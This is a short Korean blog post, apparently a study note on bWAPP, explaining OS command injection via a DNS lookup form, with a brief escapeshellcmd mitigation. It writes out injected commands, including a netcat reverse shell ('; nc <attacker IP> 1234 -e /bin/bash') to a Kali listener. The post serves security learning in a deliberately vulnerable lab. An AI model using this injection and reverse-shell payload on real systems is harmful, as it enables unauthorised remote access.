커맨드 인젝션이란 웹을 통해 시스템 명령어를 실행하는 공격이다. 입력값들을 제대로 검사하지 않으면 발생하는 취약점이다.
DNS lookup은 해당 도메인의 네임서버를 알려준다. 리눅스에서 여러 개 명령어를 사용할 때 ‘ ; ‘ 세미콜론을 사용한다. 여기서도 통하는지 사용해보자.
; ls 를 검색했더니 명령어가 실행되었다. ls명령어 말고도 다른 명령어들도 가능하다. 원격 접속도 가능하다. 칼리 리눅스에서 nc -lvp 1234로 포트를 열어보자. 그리고 ; nc 칼리아이피 1234 -e /bin/bash를 검색하면 접속이 된다.
대응방안은 escapeshellcmd 함수를 쓰면 ; & | 등의 특수문자들을 막을 수 있다.
'공부 > bWAPP' 카테고리의 다른 글
Server-Side Includes (SSI) Injection (0) | 2020.02.20 |
---|---|
PHP Code Injection (0) | 2020.02.19 |
iFrame Injection (0) | 2020.02.19 |
HTML Injection – Stored(Blog) (0) | 2020.02.19 |
HTML Injection – Reflected(URL) (0) | 2020.02.19 |